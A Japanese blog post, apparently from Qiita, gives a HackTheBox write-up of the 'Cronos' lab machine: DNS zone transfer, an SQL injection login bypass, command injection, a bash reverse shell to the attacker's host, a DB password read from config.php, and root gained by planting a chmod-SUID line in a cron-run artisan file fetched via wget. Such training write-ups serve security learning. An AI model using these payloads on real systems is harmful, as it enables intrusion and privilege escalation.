2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Cronos WriteUp

Last updated at Posted at 2023-08-10

今回はHackTheBoxのMediumマシン「Cronos」のWriteUpです!
Linuxのマシンでこの名前なので、既にあれかな?という気がしますが、どのようなボックスなのでしょうか!
image.png
グラフはMediumにしてはやや優しめでしょうか。
評価も高いのでそこまで複雑な脆弱性は出てこないような気がしますね。

HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Cronos

侵入

それでは、いつものようにポートスキャンから始めましょう。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.10.13 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

22番と53番、そして80番を確認しました。DNSが確認できたので、ゾーン転送を試してみます。
ゾーン転送が許可されていた場合、サブドメインが見つかる可能性があります。

なぜサブドメインを列挙するのか?
サブドメインを列挙する理由は、ドメインにより制限された領域にアクセスするためです。Webでは、管理者用のサブドメイン、デバッグ用のサブドメインという感じで用途に応じたサブドメインを使用することが可能です。ハッキングの観点から見ると、サブドメインで制限された領域は侵入の手がかりになることが多いです。また、ネットワーク全体のホストを識別するためにもドメインは重要な情報です。

ゾーン転送を試す前に、まずは、普通のドメインを/etc/hostsファイルに記述しておきます。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts 
10.10.10.13     cronos.htb

これで準備完了です。ゾーン転送は、digコマンドのaxfrというオプションで実行できます。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ dig axfr cronos.htb @10.10.10.13                    

; <<>> DiG 9.18.16-1-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 175 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue Aug 08 13:23:48 JST 2023
;; XFR size: 7 records (messages 1, bytes 203)

ゾーン転送が許可されていました!出力を見てみると、新たにadmin.cronos.htbというドメインが存在していることが分かります。

ゾーン転送とは?
簡単に説明すると、ゾーン転送とはマスターとなるDNSサーバが自身の持つ情報を他のDNSサーバに教える(転送する)ことです。通常は認証が必要であるため、Kali側からのゾーン転送には応じないはずなのですが、適切な設定がされていない場合、今回のようにどこへでも情報を転送してしまいます。

では、先ほどと同じように/etc/hostsファイルに記述しておきましょう。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts
10.10.10.13     cronos.htb admin.cronos.htb

DNSは列挙できたので、次はWebにアクセスしてみましょう。
image.png
Apache2のデフォルトページが表示されました。
デフォルトページには特に遷移がないので、gobusterを実行し、ディレクトリ探索を行います。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ gobuster dir -u http://10.10.10.13 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/08 13:51:17 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/server-status        (Status: 403) [Size: 299]
Progress: 20476 / 20477 (100.00%)
===============================================================
2023/08/08 13:57:33 Finished
===============================================================

特に怪しいディレクトリは見つかりませんでした。
では気を取り直して、大本命のadmin.cronos.htbにアクセスしてみようと思います。
image.png
ログインページが表示されました!
サブドメインのadminという文字列からして、管理者用のWebページである気がします。とりあえず適当にadmin:adminと入力し、ログインできるか試してみましょう。
image.png
流石に甘くないですね。ログインが弾かれてしまいました。

SQLインジェクション

ログイン画面が表示されましたが、現時点では使えそうな認証情報は何も持っていません。このような状況で他に試すことができることといえばSQLインジェクションです。

SQLインジェクションとは?
SQLインジェクションとは、ユーザの入力を適切に処理しないことが原因で発火する脆弱性です。発火させる方法は様々ありますが、主に攻撃者は'"といった文字列を使用し、任意のSQLを実行します。SQLインジェクションにより、ログイン(認証)のバイパス(回避)や情報の取得が可能です。

一番メジャーなテスト手法はシングルクォート(')を使用することです。パスワードの最後に追加し、再度ログインを試してみましょう。
image.png
追加しましたが、レスポンスに変更はありません。ではシングルクォートではなくダブルクォート(")を追加してみます。
image.png
こちらもレスポンスに変わった様子はありません。SQLインジェクションは発火しないのでしょうか。もう少しだけ試してみましょう。
他のアプローチとして'or'1'='1を追加するという手もあります。これはSQLのWhere句に対して常に真を返すようにするものです。パスワードの後ろに追加し、再度試してみましょう。
image.png
こちらも発火しないようです。ここまで試して発火しないとSQLインジェクションから一度離れるところではありますが、一応ユーザ名の方でも発火しないか試してみましょう。
image.png
シングルクォートから順に試していると、'or'1'='1でいつもと違うレスポンスを確認しました!
よく見てみると、302番が返ってきていることが分かります。また、レスポンスのLocationにはwelcome.phpと書かれています。このことからログインに成功し、welcome.phpにリダイレクトしたのではないかと予想できます。
実際のWebページで同じように入力し、ログインしてみましょう。
image.png
パスワードはなんでも大丈夫です。入力出来たらSubmitを押してみましょう。
image.png
ログインできました!エラーが出ていなかったので、分かりにくかったですが、SQLインジェクションに脆弱だったようです。

なぜSQLインジェクションが発火したのか?
ログイン処理の多くで下記のようなSQL文が使われています。
※分かりやすくするために「and」ではなく「or」を使用しています。

select * from users where username = '?' or password = '?'

はてな(?)で示された箇所にユーザの入力が挿入され、SQL文として実行されます。本来は、挿入する段階でステークホルダーなどを使用しユーザの入力を適切に処理するのですが、適切に処理されていない場合、ユーザが好きにSQL文を書き換えることが可能です。
では、実際に今回使用した'or'1'='1で、どのようにSQL文が変更されてしまうのか見てみましょう。

select * from users where username = 'admin'or'1'='1' or password='admin'

1=1は必ず真になり、それぞれの条件式はorで繋がっています。つまり1=1がある限り、他の入力がどのような値であってもログインは成功してしまうのです!
SQLインジェクションのポイントはシングルクォート(')です。今回の入力を見ると分かりやすいですが'or'1'='1のようにシングルクォートが不自然に使用されています。しかしこれにはきちんと意図があります。SQL文で確認しましょう。

where username = '<username>'

上記はユーザ名が正しいかどうかを判断している式ですが、ここで注目してほしい部分は<username>を囲んでいるシングルクォート(')です。2つのシングルクォートはユーザの入力の始まりと終わりを示すものです。例えば普通にadminというユーザ名が入力されると下記のようなSQLになります。

where username = 'admin'

これにより、ユーザ名がadminであるかどうかという判断が行われます。adminというユーザが存在しているなら「真」、存在していなければ「偽」となります。では、これを踏まえてシングルクォート(')を一つ入力したときの処理を見てみましょう。

where username = 'admin''

末尾のシングルクォート(')が二つになったことが分かると思います。このようなSQLでは適切に処理が行われず、エラーとなります。SQLインジェクションに対して脆弱であるかどうかを確認する際、エラーが起きるかどうかを判断基準にするのはこのためです。
では、この状態でさらにもう一つシングルクォート(')を追加してみましょう。

where username = 'admin'<free>''

即席で<free>という値を入れていますが、見てほしいのはその色です。Qiitaでは、シングルクォートに囲まれた部分は青色で表示されます。しかし<free>は青ではなく赤やwhereと同じ黄色になっていると思います。何が言いたいかというと、この部分はwhereなどと同じように値ではなくSQL文として判断されるということです。そのため、先ほどの入力のように'or'1'='1を入れると、新たな条件式が作成され、常に真を返すようになります。

コマンドインジェクション

それでは、さらに攻略を続けていきましょう。
再度Webを確認してみます。
image.png
見た感じ、tracerouteコマンドを実行できそうです。tracerouteの部分はプルダウンになっているので、他にもコマンドを選択できるかもしれません。見てみましょう。
image.png
他にもpingが実行できるようです。とりあえず、pingをIPアドレスは変えずに実行してみましょう。
image.png
出力が100% packet lossとなっているため、pingが届かなかったことが分かりますが、実行自体は成功していそうです。試しにIPアドレスをKaliのIPアドレスに変更してみます。Kali側でpingを確認したいので、tcpdumpというコマンドを実行し、待ち受けておきましょう。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

待ち受けが完了したら、pingを実行します。
image.png
今度は1 receivedと出力されているので、pingが届いていそうです。先ほど待ち受けたtcpdumpも確認してみましょう。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:30:16.222535 IP admin.cronos.htb > 10.10.14.3: ICMP echo request, id 2948, seq 1, length 64
15:30:16.222931 IP 10.10.14.3 > admin.cronos.htb: ICMP echo reply, id 2948, seq 1, length 64

こちらでもpingの疎通を確認できました!

見たところ、tcpdumppingしか選択できないので何もできないように見えますが、他のコマンドを何とか指定させることができれば、シェルをゲットできるかもしれません。実行時にどのようなリクエストを送っているか見てみましょう。
image.png
コマンドがcommandというパラメータで指定されていることが分かります!commandパラメータをすることで任意のコマンドが実行できるかもしれません!試してみましょう。まずはidコマンドを実行してみます。
image.png
エラーは表示されていませんが、idコマンドの出力は見当たりません。
では、pingtracerouteは必ず実行する必要があるのでしょうか。。と一瞬思うのですが、よくpingを実行したときのことを考えてみます。commandping -c 1を指定し、host10.10.14.3を指定しました。そして、実行が成功したということは、commandで指定した値とhostで指定した値を結合し、一つのコマンド(ping -c 1 10.10.14.3)としていると予想できます。

予想が正しい場合、今回のリクエストはid 10.10.14.3というコマンドとして処理されたということが分かります。idコマンドを実行する場合は、hostの値はいらないので、何も指定せずにリクエストを再送してみましょう。
image.png
コマンドが実行されました!これでシェルが取得できそうです!

www-dataとしてのシェル

それでは、侵入できるか試してみましょう。
シェルを取得する際にどのようなコマンドを実行すればいいか困ったときは「Reverse Shell Generator」を確認してみてください!

実際に使用するコマンドは以下の通りです。

command=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F2121+0%3E%261%27

実行する前に、Kali側で待ち受けることを忘れないでください。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...

待ち受けまで準備が出来たら、実行しましょう!

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.13] 56388
bash: cannot set terminal process group (1319): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$ whoami
whoami
www-data

侵入成功です!

権限昇格

www-dataとしてシェルを取得できましたが、恐らくまだ権限昇格は行えないと思います。まずはhomeディレクトリ配下を確認してみましょう。

www-data@cronos:/home$ ls -l
total 4
drwxr-xr-x 4 noulis noulis 4096 May 10  2022 noulis

noulisというユーザが存在することが分かりました。このユーザの認証情報を探してみましょう。
どこから列挙を開始するかですが、私はとりあえず各ユーザのホームディレクトリを確認していきます。www-dataユーザの場合は、/var/www/配下がホーム的な存在なのでまずはそこに目を向けます。

www-data@cronos:/var/www$ ls -l
total 12
drwxr-xr-x  2 www-data www-data 4096 May 10  2022 admin
drwxr-xr-x  2 www-data www-data 4096 May 10  2022 html
drwxr-xr-x 13 www-data www-data 4096 May 10  2022 laravel

3つのディレクトリを発見しました。名前的に一番気になるのはadminです。さらに深く見ていきましょう。

www-data@cronos:/var/www/admin$ ls -l
total 20
-rw-r--r-- 1 www-data www-data  237 Apr  9  2017 config.php
-rw-r--r-- 1 www-data www-data 2531 Jan  1  2021 index.php
-rw-r--r-- 1 www-data www-data  102 Apr  9  2017 logout.php
-rw-r--r-- 1 www-data www-data  383 Apr  9  2017 session.php
-rw-r--r-- 1 www-data www-data  782 Apr  9  2017 welcome.php

5つのPHPファイルがあります。5つの中で一番怪しいファイルはconfig.phpです。名前からしてDBなどへの接続情報が記載されていることが多いです。

MySQL

ファイルの内容を見てみましょう。

www-data@cronos:/var/www/admin$ cat config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

やはりDBへの認証情報が記載されていました!DB内にnoulisユーザの認証情報があるか確認してみましょう!
まずは接続します。

www-data@cronos:/var/www/admin$ mysql -u admin -p
Enter password: kEjdbRigfBHUREiNSDs

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

認証情報を使用し、接続することが出来ました!
次に、データベースを一覧表示します。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| admin              |
+--------------------+
2 rows in set (0.00 sec)

今回は2つのデータベースしかないようです。
データベースはadminを選択します。

mysql> use admin
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

データベースが選択できたので、テーブルを一覧表示します。

mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

テーブルはusersしかありません。
では、SQLを実行し、テーブル内を検索してみましょう。

mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)

noulisユーザではなく、adminユーザのパスワードが出力されました!
このパスワードは、MD5でハッシュ化されているので、解読できるか試してみましょう。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 2 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2023-08-08 16:35) 0g/s 3309Kp/s 3309Kc/s 6619KC/s !!1QWER..*7¡VA
Session completed. 

解読できません!正直、絶対いけると思っていたのですが他の道があるのでしょうか。
再度列挙をやり直してみましょう。

crontab

再度/var/wwwディレクトリ配下を確認してみましたが、特に情報はありませんでした。netstatでも有用な情報は得られなかったので、crontabを確認してみました。

www-data@cronos:/var/www$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

なんと、php artisanがrootで実行されています!恐らくpspy64でも確認することができると思いますが、こちらで気付くことができてよかったです。
実行されているartisanファイルは/var/www/laravel配下にあります。書き込み権限があるか見てみましょう。

www-data@cronos:/var/www/laravel$ ls -l artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

書き込み権限があります!このため、system関数でコマンドを実行させ権限昇格できそうです!横移動するのかと思いましたが、一気に権限昇格できるようです。
まずは、artisanファイルにsystem関数を記述します。色々とやり方はありますが、私はローカルで作成したファイルをターゲットにダウンロードさせることでsystem関数を実行しようと思います。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat artisan  
#!/usr/bin/env php
<?php

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/bootstrap/autoload.php';

$app = require_once __DIR__.'/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/

$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);

$status = $kernel->handle(
    $input = new Symfony\Component\Console\Input\ArgvInput,
    new Symfony\Component\Console\Output\ConsoleOutput
);

/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/

$kernel->terminate($input, $status);
system('chmod u+s /bin/bash'); //add

exit($status);

下から3行目のsystem関数が追加した部分です。今回はbashにSUIDを付与し、権限昇格を試みます。
ファイルが用意できたので、サーバを立ち上げます。

🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ python3 -m http.server 80         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

サーバが立ちあげることができたので、ダウンロードさせます。ダウンロードを実行する前にファイルを削除することを忘れないようにしましょう。

www-data@cronos:/var/www/laravel$ rm artisan 

削除が完了したら、wgetsystem関数を追加したartisanファイルをダウンロードします。

www-data@cronos:/var/www/laravel$ wget 10.10.14.3/artisan
--2023-08-08 11:27:17--  http://10.10.14.3/artisan
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1677 (1.6K) [application/octet-stream]
Saving to: 'artisan'

artisan             100%[===================>]   1.64K  --.-KB/s    in 0s      

2023-08-08 11:27:18 (176 MB/s) - 'artisan' saved [1677/1677]

これで準備はできました。あとは少し待ってbashにSUIDが付与されるのを待ちましょう。

rootとしてのシェル

それでは、bashの権限を確認してみましょう。

www-data@cronos:/var/www/laravel$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash

SUIDが付与されています!それではrootに移りましょう!

www-data@cronos:/var/www/laravel$ bash -p
bash-4.3# whoami
root

権限昇格成功です!
ユーザのフラグを取得しない状態でここまできたので、noulisディレクトリの中にあるフラグを忘れずに取得するようにしてください。

bash-4.3# ls -l /home/noulis
total 4
-r--r--r-- 1 noulis noulis 33 Aug  8 07:15 user.txt

もちろんルートフラグも忘れずに!

bash-4.3# ls -l /root
total 4
-r-------- 1 root root 33 Aug  8 07:15 root.txt

完全攻略達成!お疲れ様でした!

攻略を終えて

攻略を終えて思うことは「すべての人にこのマシンを挑戦してみてほしい」ということです。Cronosは基礎となる攻撃が多く、脆弱性の発火が分かりやすいです。権限昇格へのパスもイメージしやすいように作成されており、セキュリティの教材としてかなり有用です。難易度も優しく、楽しいマシンとなっているので、HackTheBoxユーザ以外の方にも挑戦していただきたいです。
今回はサブドメインを列挙し、SQLインジェクションによってログインすることでコマンド実行が可能になりました。やはりサブドメインというのは攻撃者にとって重要な情報でもあるので、取り扱いには十分に注意し、外部公開しなくていいドメインは公開しないなど適切な制限が必要です。SQLインジェクションについては言うまでもありませんが、適切に入力を処理し、任意のSQL文実行を防ぐようにしましょう。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?